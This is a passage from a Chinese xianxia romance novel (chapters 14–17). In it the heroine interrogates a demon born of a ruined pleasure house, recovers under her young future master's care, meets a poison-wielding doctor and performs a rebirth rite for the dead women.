同封澄从前对上的那些地魔来说,这三条法则简直是闹着玩儿的。 还有最后的破局之法,不是其他,而是拆了宝华楼。封澄道,“她们活着的时候,被困在宝华楼里不见天日,被欺瞒,被侮辱伤害,甚至被杀死,你从宝华楼里诞生而来,姑娘们的心,我不信你不知。” 如若不是她们想要逃脱出去,宝华楼的破局之法,又怎么会是拆楼? 这些命若浮萍的女子,即便是死去,怨气足以滋生出地魔这种庞然大物,心底想的,却依旧是逃出。 地魔怔然看着她,目光中的恨意褪去了些许,化作了茫然。 “让她们怨恨不已地困在宝华楼里,生死皆不安宁,难道就是你想要的吗?” 赵负雪的灵力已然把半个宝华楼拆成了废墟,天光透过残破的屋顶,细细碎碎地照了进来,地魔眯起眼睛,怔怔地抬头,看上前去。 “阿环的死,还没有水落石出,我所得知的最后一条线索,就是她在宝华楼坠楼,”封澄道,“她还是个年轻的小姑娘,非常喜欢宝华楼里教她跳舞的姐姐,现在不明所以地死去了,连尸骨也没留下,只留下了化魔的恶名。她的爹娘还在打扫她的屋子,可她不会回来了。” 封澄道:“你能救救她的爹娘吗?” 地魔半坐在地上,慢慢地倚着墙,坐了起来,她本想 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封澄道:“身量大致多少?口音如何?可有无灵器标识?有何独特之处?” 宝华楼地魔晃晃脑袋:“他……身长与那位拆楼的公子差不多,灵器从未取出来过,独特之处……” 她想了想,抬头道:“身上有些脂粉气,味道很重。” 就是这样一个人,诱骗阿环,骗她做了引出地魔来得最后一个祭品。 封澄缓缓地捏紧了指骨,发出了“咯”的一声。 地魔说到一半,又笑了:“我说这么多,你能不能放过我?” 封澄冷着脸:“我会为你超度,连同整个宝华楼一起超度,且我会保证,百年内,古安此地,不会有宝华楼这样的地方了。” 宝华楼地魔苦笑一声:“这么算,我还是亏的,你还是要杀了我,那么我什么也不说了。” 封澄摇摇头,抬起手,示意赵负雪接着炸,她转身回头之际,身后忽然传来一声:“哎。” 她略微回了回头:“他是稍稍南一些的口音,齐怀一带的。” 见封澄停下了脚步,地魔露出了个心满意足地笑:“你猜我如何知道的?” 不待封澄回答,她便自问自答道:“咱们宝华楼的姑娘,都说齐怀好,安静,认识的人还少,都打算攒了钱,赎身之后,一道儿去齐怀养老。” 她微微地躺下,赵负雪拆了一半的屋子亮亮堂堂:“谁想要做这个地魔啊?其实我更想走出去一点,大家都想去齐怀,我也想去齐怀看看,可我走不了,我得报仇。” 封澄静静地看着她:“你要报陈家的仇吗?” 地魔癫狂地笑了起来:“对,他们陈家,没一个好东西,那几个年轻的、老的畜生手里,谁没有两条姑娘的命了?我要杀了他们,杀得他们家一个人也不剩,才高兴呢。” 封澄一时沉默,半晌,提步欲走。 地魔忽然道:“那个人,是你的情郎吗?” 封澄愣住了。 “他是天底下顶顶冷心无情之人,你若是心悦于他,可是有苦头吃了。” 14. 第 14 章 尘土飞扬的宝华楼,一半的建筑摇摇欲坠,另一半的建筑已然坍圮,地魔的手脚已然透明,她听闻封澄问出这一句来,哈哈大笑:“怎么,你怀疑你们自己人?” 没有比封澄更不愿意怀疑同族的人了,她宁愿对付的是一个穷凶极恶、工于心计的魔族,也不愿对面是个活人。 封澄安静地看着她:“人,也有好人和坏人,坏人不是自己人。” 地魔虽是能沟通的,但归根到底还是个魔物,此时她的眼睛闪闪发光,充满了孩子一样的恶意:“我这句话说出来,能看你们人咬人吗?” 封澄面无表情:“赵公子,拆她一堵墙。” 赵负雪二话不说,砰然一声炸响,又有一堵墙被灵力轰透,摇摇欲坠地倒了下去,地魔的脸色又惨白了几分,她却觉得有趣一样,哈哈大笑:“你得给我留下喉咙,我还要说话呢。” 二人在二楼一坐一立,封澄心下明白,地魔哪怕看着再纯良,也不会放过这个搅浑水的机会的,能用一句话来掀得她动手,搅合得人族人心惶惶,这种划算的买卖,她不会不做。 “是人,活生生的人,一点魔气都没有的人。”地魔微笑道,“你若觉得我说谎,也没关系。” 不,她没有说谎。 封澄的指骨骤然咯地一声。 猜测落实的那一刻,封澄反而没有想象中反应大。 魔物之间,良好生存是违背天性的,只有天魔中的某些魔兽是同族聚居,除此之外的地魔与人魔,统统都是抢地盘的高手。 一地的人就这么多,能吸食的怨气、取得的血肉也只有这么多,什么样子的魔才会守着粮仓不吃,反而拿去养出别的魔来?这种违背魔性的事情,魔是做不出来的。 现如今只知晓,古安背后至少有一人一魔。 引阿环出楼、留下木梳、引她与赵负雪二人除魔的,是人魔。 将阿环作为祭品,活人献祭,豢养地魔的,是人。 一人一魔的目的似乎是相悖的,一个养魔,一个除魔,可偏偏在阿环这一环节上,二人的目的却是相同。 那就是将阿环从家中带出来。 阿环不过是一介平平无奇的小姑娘,这样的姑娘在古安每条街里都能找出不知道多少个,是什么让阿环成为了魔物与恶人皆不肯放手的一环? 封澄骤然抬起头——陈家龟祭。 地魔哈哈大笑:“那人临走时给我留了地址,我要是想要‘粮食’,就去找他呢。” 封澄神色一凛,从怀中取出一张黄纸:“写。” 地魔摊摊手:“我写不了。” 封澄冷着脸:“地上全是血,你随便蘸一点不就得了?” 地魔很认真地看着她:“我不识字。” 宝华楼女子,入楼的没几个识字的,众女之怨所炼化出来的地魔不识字,倒是也很正常,封澄心下一怔,片刻道:“你说吧,我自己写。” 地魔微微张了张嘴:“是个脂渣铺子,南……” 话音未落,一道雪亮的灵光悍然袭来,直直冲向未砸完的半边宝华楼,封澄心道一声不好,转头道:“赵公子,拦着!” 赵负雪沉声应了,提身便挡住剩余半边宝华楼,险而又险地阻了这突如其来的灵力,可不待二人反应过来,异变陡生,一记灵力不知从何处而来,径直轰向了整个宝华楼,赵负雪神色一凛,掠身下去,将封澄牢牢地护在了身下。 这庞然灵力全然不像是一人之功,反而更像诸多修士的联手之力。 随着一阵轰鸣,在这诸多灵力的冲击下,原本就摇摇欲坠的宝华楼终于无力支撑,骤然坍塌,漫天的尘烟中,封澄看到地魔一点点地消失。 地魔的脸上还有几分愕然,便消散成烟了。 随着地魔的死去,原本储存在她身体中的魔气喷薄而出。封澄离得近,首当其冲地被魔气波及,当即喉头一甜,一口鲜血便喷到了赵负雪的袖子上。 赵负雪的脸霎时一呆。 封澄昏昏沉沉地想:这么多血,得给年轻的小赵负雪造成多大的心理阴影啊? 她勉力抬起手,勉强摸了摸赵负雪的脸:“先去救人,宝华楼里,还有活人。” 侠医可是救命的希望,万万不能死了。 说完这话,她便眼前一黑,随即不省人事了。 闭目前,是赵负雪声嘶力竭地喊什么的样子。 要是能听到,会被吵死吧。 封澄想。 不知昏迷了多久,又躺了多久,封澄醒来时,腰酸背痛,浑身上下没有一处不酸痛的。 睁眼一看,床顶是青色纱幔,纱上纹路大致是个古体的“陈”字。 似乎已经是晚上了,封澄艰难地坐起身来,身边忽然传来一声:“别动。” 抬眼一看,封澄便忍不住笑了:“你怎么穿成这个样子?” 坐在床边的正是赵负雪,他那一身风度翩翩的白衣早已不知丢到了哪里去,现在穿着一身利落的黑衣,黑衣手腕处被皮革扣起,描画的是岁寒三友。惯常垂下的长发被高高地束着,配以黑底描银暗纹的发带,看上去真是又年轻又俊俏。 屋内一灯如豆,赵负雪的膝头放着一本翻开的书,封澄打眼一看,是本写得尚草的医书。 赵负雪垂着眼睛,吹了吹放在床头的汤药,一句话也不说,一勺子杵到封澄嘴边道:“喝药。” 这要看着黑乎乎、黏糊糊的,还散发着一股诡异无比的臭味,封澄干笑两声,作势就要下床:“这是哪儿呢,给我送哪里来了?我要下去看看。” 还未来得及起身,便被一股大力强行拽下,封澄压到床上,登时两眼一黑。 赵负雪单手将她的双手扣到头顶,封澄久病初愈,竟然挣扎不开,赵负雪冷笑一声,用汤匙舀了一勺药汁,就药往封澄嘴里塞。 封澄被狠狠地杵了一勺,药汁入口的刹那,她两眼一花,随即前世今生的大事小事齐齐浮了上来,她心想:这药绝对吃不得,我都苦出走马灯了。 她眼珠一转,暗暗憋气,血气霎时堵得满脸通红,然后她大叫道:“赵公子,男女授受不亲,你越界了,小人行径!” 赵负雪从小到大没与旁人这般接近过,也从未被 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封澄看着这碗黑乎乎的药,又意外又惊讶:“这药,是你熬的?” 这不可不谓之稀奇,没曾想时至如今,她竟然能喝上师尊给熬的药。 小师尊眼下两圈青黑,封澄看着心酸:“熬得眼圈儿都黑了。” 赵负雪微微一怔,手不自觉地送了些,偏头嘴硬道:“既然知道我辛苦,还不喝药。” 封澄又轻轻地挣扎几下:“我自己来,你喂的格外苦。” 赵负雪心想这是什么鬼话,难道她自己喝就是另一碗药了,手却不由自主地松开了道:“你自己来。” 他一心防着封澄又搞什么乱七八糟的心眼,没曾想这妖女竟然不作妖了,垂着眼睛,乖乖地喝了一口又一口,即便是苦得眉毛鼻子皱成一团,也没吭半声。 直到最后一口汤药喝完,她终于放下了汤碗:“我喝完了。” 封澄这碗药吃得死去活来,活去死来,吃到最后,眼前甚至已经苦出幻觉来,只觉得赵负雪一个脖子上挂着八个头,着实是骇人无比。 “这药已经难喝得彪炳史册了,”封澄神魂颠倒地想,“开这个药方的人一定是故意的,上辈子赵负雪的药都没这么苦。” 正阵阵发苦间,嘴边忽然被递来了什么东西。 微凉的。 封澄一怔,低下头来,耳边传来赵负雪不耐烦的声音:“张嘴。” 看起来是一粒冰糖葫芦,封澄皱了皱眉,刚要开口拒绝,赵负雪却不由分说地将冰糖葫芦戳进她的口中。封澄平素不喜山楂酸味,但东西既然到了口里,就没有再吐出去的道理,于是她便闭着眼睛,耐心地咬了下去。 原以为的酸味并没有冲击上来,取而代之的是更为甘甜柔软的香气。 她不由得抬头看向赵负雪,赵负雪臭着脸,看起来不是很想搭理他:“卖糖葫芦的只做山楂的,这是我自己做的。” 这个糖葫芦,里面竟然是果子馅的汤圆。 15. 第 15 章 汤圆做的冰糖葫芦,当真是了不得的创意菜,封澄一想到赵负雪认认真真琢磨半天,最后竟然琢磨出了汤团外裹糖衣的主意,就忍不住嘴角上扬。 脑中的画面驱赶不去,封澄笑得险些呛死,赵负雪微恼,一张俊脸在灯火下越发红了:“你,不喜欢么?” 封澄连忙道:“喜欢,我太喜欢了。”说着又忍不住笑咳起来。 赵负雪无奈地看着封澄。半晌,终于被她笑恼了,红着脸就摔袖就要走:“就该苦死你!” 封澄看着把人逗跑了,忙止住笑意,伸手拉住他的衣角,指天保证:“我不笑了,赵公子,我真的不笑了,我有事情要问你。” 封澄睡了这些时日,事情早已今非昔比。赵负雪早有预感,她一醒来就会问宝华楼的事。 见封澄面露正色,赵负雪回头看了一眼,便坐在了她的床边,道:“你有何要问。” 第一是她最最关心的问题:“宝华楼中,救出了几个活人?” 赵负雪道:“一共七人,六人重伤未醒,还有一人已能下地行走。” 还有人能下地行走?封澄微微讶异——她去宝华楼查验尸身时,可是都发现了,那里面的人不是重伤就是剩一口气,短短十日能下地行走,不可不谓之稀奇,这是多么强横的恢复力。 赵负雪看出了封澄在想什么,不自在地摸了摸鼻子。 能下地行走的那人是侠医。是他给侠医强灌了一身灵力,硬生生把人逼醒的。 封澄又道:“侠医救出来了吗?” 赵负雪皱眉:“救出来了,你的药是他开的,只开了半副,说来奇怪,他硬要等你醒来与他见面相谈,才肯给你开剩下半副。” 怪不得药汁喝下后,她精神好了许多,有本事的医师有些奇怪脾气也是很正常的,封澄点了点头,又道:“那一群炸楼的是谁?” 其实不必猜,封澄也心中有数了,眼前的帷帐上描画着连绵不绝的“陈”字花纹,这屋中陈设又非富即贵的,屋外还这般安静,不用细想,便知道和陈家八九不离十了。 果然,赵负雪道:“是陈家人,你现在就在陈家。” 封澄磨了磨牙:“这帮夯货炸得可真是时候,我正在盘问阿环尸体的下落。” 说来封澄心中也有些怀疑,这陈家人来的时机奇寸无比,背后或许是有推手。 再或者就是真的巧合,封澄打小运气不好,碰上这种事倒也正常。 能问的也大致只有这些,封澄又与赵负雪随意谈了些有的没的,赵负雪大多数时候在听,只是偶尔会应上两句。 从谈伴的角度来说,赵负雪是个很不合适的谈伴,但从听众的角度来讲,这天下又没有比赵负雪更为称职的听众。 封澄一个人聊得天花乱坠,感觉自己能讲到地老天荒,只是大病初愈,精神不振,力不从心,谈着谈着便有些睡意昏沉,她没有察觉到自己的声音渐次弱了下去。 赵负雪看着她声音越来越低,侃得越来越慢,最后头垂在了手臂上,维持着一个趴着的姿势,睡过去了。 “又要说又要睡,”赵负雪无奈地将她扶回床上,摆了一个仰面躺着的姿势,又很耐心地把封澄露在外面的手臂收回到了被子中,又不放心地掖了掖被角,“天下谁人比你聒噪。” 这些事情他从前从未做过,好似一碰到封澄,便自然而然地全学会了一样。 赵负雪摸了摸封澄的额头,不烫了,他收回了手。 兴许是大病未愈的缘故,她的脸比平常更苍白一些,赵负雪端详片刻,忽然挑了挑眉。 封澄这个觉睡得并不安稳,眼前总是乱七八糟地做着梦,一会儿是长煌大原上杀声震天,一会儿是金銮大殿上请旨出征,一会儿又被天机院那几个小泥崽子抱着腿撒泼,桩桩件件乱七八糟,她在梦中都心烦无比,谁知蓦然一转眼,竟然回到了赵负雪的鸣霄室。 四周陈设一如往日,赵负雪的院前栽种如云桃花,此时正是开花的时节。 其实封澄总觉得,照着赵负雪的样子,院中更应该种些梅兰之类的君子之花,这如云粉雾笼在雪窟窿似的鸣霄室上,着实有些违和了。 心里这般想着,封澄也就这么顺嘴讲了出来,谁料后面忽然传来一声:“是吗?” 封澄悚然一惊,周身汗毛根根炸起。身后传来轮椅碾压落英的细微动静,随着一阵冷冷松香,赵负雪来到了她的身边。 十九年后的赵负雪熟稔道:“今日怎么有空来我梦中了。” 封澄僵在原地,不敢说话。 她总觉得这个赵负雪好像怪怪的,按理来说,她梦到的赵负雪,应当是像海洛斯捏出的幻境一般,所行所言,都该是从她记忆中拼凑出来的。 他从来不会用这般语气对她说话,师尊与她的少有的交谈,从来是简之又简。 这个赵负雪,好似脱离了她的掌控,陌生得不像是她的梦境。 还没等她想明白什么,身下便陡然一空,眼前忽然天旋地转,封澄受惊不已地回过来神来,眼前一幕几乎让她大为骇然。 赵负雪,她那个病弱不已、目下无尘的师尊,将她揽在了他的腿上。 几乎下意识地,封澄蹦起来就想要逃——这个梦做得太过荒诞了,她怎么可以对师尊如此亵渎? 没等她挣扎起身,轮椅上的赵负雪便轻叹一声,轻轻地按住她:“不要乱跑。” 这一按仿佛千钧,力道之大好似钢筋,封澄当即被按住,不得挣扎。 她瞳孔剧烈震抖,抬眼看向赵负雪。 是,没错,的确是她的病弱师尊。 他的皮肤比以往苍白很多,唇上无半分血色,眼睛微微半合,长发如瀑散下去,依然是那副赛雪欺霜的绝色。 如若对着小赵负雪,封澄还是很敢欣赏一下的,可面对着她敬仰了半辈子的师尊,封澄的眼睛都不敢对上去。 接下来的一幕令封澄更为骇人。 赵负雪抱着她,轻柔地将脸埋入她的颈中,慢慢地啄吻。 “你不是最爱桃花吗?” 颈边传来羽毛般轻柔的触感,封澄仿佛被雷劈了一般焦在原地,赵负雪吻了许久,好似终于发现面前的封澄僵硬如木头了:“弄痛了? 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良久,赵负雪看着封澄落荒而逃的背影,若有所思。 从鸣霄院中逃出后,封澄又做了一堆光怪陆离的梦,这堆梦境搞得她颠三倒四,混沌不清,待她听到晨钟的鸣声时,她终于拼尽全力地睁开了眼睛。 窗外日光透过窗幔,封澄盯着窗幔上连绵不绝的“陈”字花纹,木然发呆。 封澄的心中好似有成千上万头大象奔驰而过,碾得她碎成渣渣。 ——惊世大草,她做个破梦,竟然还肖想上自己的师尊了。 赵负雪身上的冷香气,柔软的触感,以及拥她入怀时,那珍重又熟练的动作。 封澄一想起来,脑中便搅合成了一团乱麻,她在床上径自煎熬——心中只想莫非那毒另有作用,她失心疯了? 正在她魂飞天外之际,门口忽然被一人拉开:“喂,起来吃药!” 封澄:“……” 封澄:“!!!” 这个声音! 要问她此时最不想见到的人是谁,那实打实的,必然是赵负雪! 她想也不想地,随意掀了外裳便草草系上,跳下床穿上鞋,眼疾手快,风一样从赵负雪身边蹿了出去,赵负雪手上还端着药罐,被她冷不丁一窜,一时之间竟还腾不出手来捉她,他当即火冒三丈道:“你上哪儿去!你给我滚回来!” 封澄好似听到厉鬼索命,逃得更快了。 陈氏山庄占群山数座,在西琼这种又热又干的地方,竟还养得山清水秀,好似室外仙境。 封澄逃下山来,一边看着,一边啧啧赞叹。 陈云那小子,当真实诚,说是西琼第一大家,还真能当得上西琼第一大家。 正行至转弯间,封澄冷不丁地撞上一人,那人手上捧着一只陶罐,封澄一惊——她从这只陶罐里闻到了熟悉的苦味。 抬眼一看,面白,笑意莹莹,手腕一条蛇纹。 不是侠医,又是谁? 16. 第 16 章 陈氏山庄,钟灵毓秀,山有飞瀑灵泉,地有野鹿白鹤。 居住着客人的留芳峰,更是仙气缭绕,碧水绕山。 此情此景下,被撞开的那只陶罐中缓缓地爬出的三条毒蛇、四只蝎子、五只蜈蚣,便显得格外地格格不入了。 封澄撞得头晕眼花,眼前阵阵发黑,没来得及看来者相貌便手忙脚乱地动手:“你……你把这些东西带在身上啊?” 四处溃逃的越狱毒虫被她统统捉回了陶罐内,侠医保持着被撞在地上的姿势,饶有兴味地看着捉虫的封澄。 封澄将虫子捉好,装在陶罐中,递给侠医,不防一抬头,将侠医的脸尽收眼底。 温不戒挑了挑眉,他的脸是苍白的,但对起赵负雪的仙人之色,此人的苍白,更带了几分妖冶,眼角眉梢间都是毒色,好似是颜色鲜艳美丽的毒蛇或者菌子,他的相貌,有一种出于魔与人之间,模棱两可的绝色。 此时的温不戒抱着陶罐,站了起来,忍俊不禁道:“姑娘晨起梳妆,脂粉都未均匀,便下山了。” 梳妆……封澄有些茫然,她今日逃跑,并未梳妆啊? 正在此时,赵负雪端着药罐,从山顶上杀气腾腾地追了下来,一见到封澄,当即脸色一沉道:“大清早上,乱跑什么?药都不吃。” 封澄此时对着赵负雪,有几分揣在腹中的尴尬几欲上下,她若无其事地错开视线,不动声色地后退一步,迟疑了一下:“药苦。” 温不戒挑了挑眉。 封澄又理直气壮道:“况且我们修行之人,身强体壮,我只不过区区外伤,卧床休息这几日已然足够,又哪用得着天天灌药?” 赵负雪冷冷道:“吐血八升的外伤?” 温不戒终于忍不住笑了,他意识到这位撞倒他的姑娘是何方神圣了:“区区外伤?” 封澄回头,略有愕然道:“嗯?” 赵负雪面无表情:“此人是你死得只剩一口气也死活要救的侠医。” 封澄见了鬼似的回头,目光缓缓下移,停在了侠医捧着陶罐的手上,腕上蛇纹登时刺得封澄老脸一红,连忙不好意思道:“不知先生在此,还没多谢先生救命之恩。” 温不戒很好脾气地弯了眉眼:“不妨事,我也要多谢姑娘救命,若非姑娘出手,宝华楼一难中,某怕是难以生还。” 一高一矮,两相对视,其乐融融。赵负雪莫名有些牙痒,他不动声色地磨了磨牙,捏得药罐更紧了一些。 守着人家医师,也不能把人家辛辛苦苦开出来的药倒掉,封澄拿过赵负雪手上的药罐,强笑道:“先生灵药,药到病除,我先干为敬。” 说着,也不打磕,也不犹豫,一罐的药汁一口气灌下去,这药仿佛有刺一样,自打入喉咙来,便苦得封澄两耳嗡鸣,她的表情扭曲无比,放下陶罐,狠狠地喘了一口气,才强行比了个大拇指道:“果然痛快。” 一片寂静。 温不戒垂眸看着她,道:“不苦吗?” 岂会不苦,封澄简直要苦得原地咬人了:“良药苦口,哪天先生不药开得这么苦了,我要带着礼物前去谢你的。” 温不戒的眼神似乎扫了赵负雪一眼:“不瞒姑娘,这药,原本不会苦涩。” 封澄:“?” 温不戒似笑非笑:“有人行事粗鲁,为我不喜。” 赵负雪那半身强横灵力,硬生生把他从鬼门关前逼醒过来,其死去活来活去死来之心酸,不足为外人道也。 封澄转眼看过去,只见二人的目光中似乎有看不见的交锋,赵负雪原本就臭的脸色更臭了,封澄脑子也不笨,一转弯便反应了过来,当即哭笑不得道:“原来根儿在这呢。” 赵负雪冷色:“这是侠医行径?” 温不戒款款微笑:“连累姑娘,我定然上门谢罪。” 封澄大病初醒,也搞不明白这两人中间有什么梁子,苦药就苦药,现下她可没有时间同这苦不苦的纠缠,她当即动身,蹑手蹑脚地就要偷偷溜走。 不料赵负雪好像是长了八只眼睛一样,眼疾手快地抓住她:“你要去哪?” 自打宝华楼之变后,封澄便感觉赵负雪一直都怪怪的,现下对上他的眼神,更让她莫名其妙地联想到了梦中的师尊,他握住手腕的力道分外大,仿佛生怕封澄成仙飞了一样。 封澄咽了口唾沫,道:“我答应过地魔,要为宝华楼全楼超度,不能食言。” 赵负雪一怔,随即果断道:“我和你一起去。” 说着,他又看了封澄一眼,略有不自在道:“擦一把脸,再下山。” 封澄:“?” 在得知赵负雪干了什么幼稚得惊天地泣鬼神的事之后,封澄一路上都没分给赵负雪半个眼神。 赵负雪绷着脸道:“我知道错了,你画回来。” 封澄一脸的胭脂方才洗净,此时整个人的脸还是红的。 此时此刻,封澄是彻底地把赵负雪与她的师尊分别开来了,她咬牙切齿地坐在胭脂铺子里,拿起方才买到的胭脂,狞笑不已:“你会为你说过的话付出代价的。” 若在后世,再借给封澄八百个胆子,她也不敢画花赵负雪那张赛雪欺霜的俊脸,哪怕是师尊把脸放在她的手上,她也只会大惊失色,只觉得亵渎了师尊。 赵负雪坐在铜镜前,闭着眼睛,任由封澄动作,全身上下绷得紧紧的。 一旁的大姑娘小媳妇早已围了一圈,捂嘴偷笑,叽叽喳喳道:“这么俊的小郎君,画上胭脂也是最俊的。” “昨夜惹了娘子生气吧?服个软,道个不是嘛!” “这娘子也俊,要不也试试咱家的胭脂?” 封澄哪里听得进这些话,此时此刻,她心里只有一个念头。 “今天便让你知道胭脂为什么这么红!” 等二人从胭脂铺子里出来后,赵负雪的全身上下几乎是一个颜色了。 他又羞又恼:“我,买个幕篱。” 封澄勾着他的衣袖,置若罔闻道:“赵公子花容月貌,藏着掖着的岂不可惜?年纪轻轻,就要享受风华正茂的年纪嘛。” 平心而论,封澄给赵负雪画的妆容并不丑,甚至可以说是时兴,可偏偏就是这笔胭脂,勾勒得他容色一转两极,好似是神女入凡,愈发地清艳无 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说着,他的目光转移向了赵负雪,犹疑道:“这位公……姑娘……瞧着倒有些面善,和那日的公子有些相像……” 封澄憋笑,在赵负雪杀人的目光中,把人拉到了阵外。 “我不知道宝华楼女子们愿不愿意去往来生,”封澄正色道,“但凡有一人不愿意去,往生阵会反伤阵眼,你年轻没数,离阵眼远一些。” 赵负雪原本还任由封澄拉着走,闻言,当即定住了,他转身,面无表情道:“你觉得我无力对抗反伤怨力,无力与你一同站在阵眼中吗?” 封澄抬头看他。 从这个视角来看,师尊的脸和她熟知的并无区别,肌理骨骼,一摸一样,脸上胭脂滑稽,遮不住他的一脸正色。 封澄勾了勾嘴角,然后抬手。 狠狠地给了他一个暴栗。 赵负雪被一个暴栗敲得登时睁大了眼。 这怨气足以滋生地魔,若是反噬起来,灭了一城都是小事。 封澄道:“年纪轻呢,就要有年轻人的觉悟,有志气是好,但是太有志气了也不好,步子迈大了,当心扯着裆。” 话糙理不糙,但这也太糙了。 阵眼上祭,有血修鲜血,有往生大阵,封澄手心灵力向阵眼黄符处狠狠一砸,只见白光冲天而起,轰然灵力从地底澎湃而出,这道白光极为耀目,城中每个角落的人,几乎都能看到宝华楼处升起的冲天白光。 在这灵气中,数百亡魂从大地中轻飘飘地钻出,宝华楼四周灵气一转,霎时鬼哭不止,红云奔流,封澄心中明了——这是有人不愿往生。 怨气反噬,这往生大阵也得继续下去,封澄咬破舌尖,含着一口舌尖血强行撑了下去。怨气霎时笼罩了整个古安,整个古安上空霎时布满了阴暗红云,街上儿童哭叫声不绝于耳,一路上皆是奔逃尖叫的男男女女。 在这冲天怨气中,唯有阵中一线始终澄明。 赵负雪站在阵外,目光停在漫天红云中、唯一一线明光里。 那是以人为食的血修,是天下最不凡的血修。 17. 第 17 章 上午,正是街上热闹的时候,脱离魔族动乱的古安是一座相当繁华的小城,封澄一路走,一路目不暇接,只觉得这个也好玩,那个也好吃。 看着热闹的街景,身边这个一直格外寂静的人,便令封澄有些奇怪了。 她戳了戳赵负雪,道:“这胭脂就丑成这样吗?再说又不是没有给你买幕篱。” 他的表情隐在幕篱后,显得分外不明显。他偏了偏头,道:“要你管。” 正奇怪着,身后忽然传来一阵咋咋呼呼的声音,叫道:“恩公姑娘!赵公子!” 会这么叫人的只有一个,封澄回过头来,见陈云满头大汗地奔来,见了二人,兴高采烈道:“我远远看着,便觉得像,果然是你们啊!” 他穿的还是那身华贵紫袍,今日的陈云把头发束了起来,扣着一枚银质发冠,看起来倒比那日狼奔豕突的模样顺眼许多。 对于陈云这种心性澄澈的单细胞生物,封澄的态度还是很好的,她微微笑道:“你不在山上处理宝华楼后事,怎么跑到山下来逛街了。” 陈云指指身后的众黑衣人,撇嘴道:“这不是过几日便龟祭了嘛!我爹偏生这个时候又被人伤了,家里大事小事全压我身上了,我带人下来采买呢,对了,你住得还舒服吗?你与赵公子是陈家的恩人,千万不要客气。” 她住得很舒服,封澄道了谢,陈云又道:“姑娘留在古安过龟祭吗?今年虽出了宝华楼那档子事,但咱们陈家收拾的龟祭还是实打实的漂亮,定然是这上下百年里最值得一观的龟祭。” 宝华楼那档子事……封澄额角微跳。 宝华楼事变,与陈家脱不了关系,无论是地魔所言的复仇,还是阿环生前的牵扯,这般想着,封澄面上神色不显,只是笑道:“这龟祭,是做什么的?” 陈云道:“哎,我给你说这‘龟祭’从前的名字便罢了,它从前叫‘鬼祭’。” 鬼祭?封澄皱了眉头。 陈云点点头:“从前鬼祭,便是众人祝祷逝者的日子,和京城那边的中元节差不多,但是在西琼嘛,大家都觉得死人和活人是没区别的,大部分的逝者都自行投胎去了,留下来生活的,便是喜欢做鬼的。大家都还是人,只不过一个看得见,一个看不见。” 这倒是有趣,封澄听着陈云接着道:“所以这个祭,就是收拾出些热闹东西来,大家伙儿一起上街聚一聚,街上的人都要带上面具,就是图个什么意思呢——你我相知,只论真心,真心到了,连对面是人是鬼也不在乎。” 生死的界限俨然模糊,人与鬼的盛会,封澄点了点头,古安此地习俗,当真有意思。 不过陈云又补充了:“听说从前,古安鬼祭,是真能打破死生界限的,姑娘进龟祭前,一定找个同伴,手上栓条红绳——活人若是孤身入了鬼界,便不好回来了。” 封澄又点了点头,陈云还待再说,身后黑衣人便叫道:“陈公子!” 陈云应一声,快言快语道:“恩公姑娘一定要去看看,龟祭可热闹呢。那边叫我,先行告退了。” 陈云一走,封澄才意识到身边的赵负雪一言未发,他的下颔线条绷得紧紧的,幕篱的轻纱有些长,盖住了他半个上身。 他好像从方才开始,便不说话了。 封澄想了想,抬手掀开了笼着赵负雪脸上的轻纱。 猝然间,赵负雪便对上了封澄的双眼。 长街上人流不息,叫卖喧哗声不绝于耳,赵负雪怔然低头,却感觉周围的一切都霎时如潮水般褪去,这世间的喧嚣聒噪霎时烟消云散。 目之所及,只有封澄含笑的眼睛。 她双手捧着长纱,举过头顶,以便能看全他的脸,探过来的脸上是盈盈笑意,赵负雪甚至能看到她脸上的细细绒毛:“脸好红,这家胭脂这么实在?” 他陡然回神,一把从封澄手中夺过长纱,以堪称落荒而逃的速度向陈氏山庄上逃去了。 封澄抬着手,看着赵负雪的背影,有些手足无措:“……今日是不是闹得有些过分了。” 说到底也是照顾了她好几日的人,封澄低头琢磨:“我记得师尊喜欢吃什么来着?” 一路走,一路逛,封澄从日上三竿逛到了夕阳西下,她几乎把山下的繁华地方逛了个遍,待到她手上满满,抱着拥着的都结结实实地压下来,她才不紧不慢地向山上赶去。 古安地处西琼,这里吃脂渣的人并不多,封澄虽打听了一日,却依旧没打听出个所以然来。 看来还是得继续从阿环那里着手了,古安背后的一人一魔,陈氏与宝华楼的血债,封澄总觉得不会如此轻易结束。 封澄决定上山,直接去找陈风起谈一谈。 待到山下,天已擦黑,陈氏山庄门口已有弟子举着火把灯笼守夜,见了封澄,众人竟齐齐恭敬道:“封姑娘!” 封澄:“?” 她手上还捧着一堆乱七八糟的玩物吃食,此时放也不是,拿着也不是,只好尬笑道:“你们……好?” 一旁的陈氏弟子看起来是这一群人的领头,他穿着素色青衣,头发束得一丝不苟,吩咐左右道:“替封姑娘把东西搬到山上去,没长眼睛吗!” “不不不!”封澄连忙退后,这些东西里大都是她买来哄赵负雪的,有许多不好见人的小玩意,况且这巡逻想必也是有人头的,上去一个帮她忙的,那岗谁替? “姑娘破了地魔,寻回陈家修士尸身,救了陈氏数人性命,就莫要在这些小事上客气了,”那人道,“若让姑娘一个客人带着这么多东西上山,家主也要治我们一个待客不周的。” 封澄额角抽了抽,心中一言难尽:“……” 该抄个小路的。 上方传来的一道声音将封澄从这番尴尬中解救出来:“你在此时,倒是老实上了。” 封澄见了救星一样地抬眼看去,第一次觉得少年师尊的身形堪称伟岸,他背着月色,不知何时坐在山门前的树上,漆黑长发随着同色衣摆一同被夜风吹起,脸上的胭脂早已洗净,露出了一张神色冷淡的脸。 是一 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其实封澄买的东西不算重,只是很多,足足装了两只篮子,加上一满捧。封澄一想,反正也是给赵负雪买的,提前给他拿着也就是了,于是一股脑地分给他。 赵负雪身量比她高出许多去,连带着胳膊能圈住的捧也比她大一些,这些东西被赵负雪一拿,竟然显得不是很多了。 她看着赵负雪稳稳当当地拿好了,满意地拍了拍他的肩膀道:“出发!” 待二人来到了封澄所住的山下,赵负雪的脸却登时臭了。 “你来做什么。”他道。 温不戒站在月下,风度翩翩地抬了抬手中的药罐:“知道姑娘回来,我便一早候下了。” 赵负雪道:“药已熬好,侠医多虑了。” 温不戒一个眼神也没分给赵负雪:“这是新的药方,不苦。” 一听不苦二字,封澄登时眼睛一亮,大喜过望地上前道:“侠医公子医者仁心,快快快,山上坐,别在下面吹冷风。” 二人有说有笑,赵负雪站在一旁,周身萧瑟,莫名感觉自己大概要醒酒了。 “叨扰了。” 三人上了山,进了屋子。 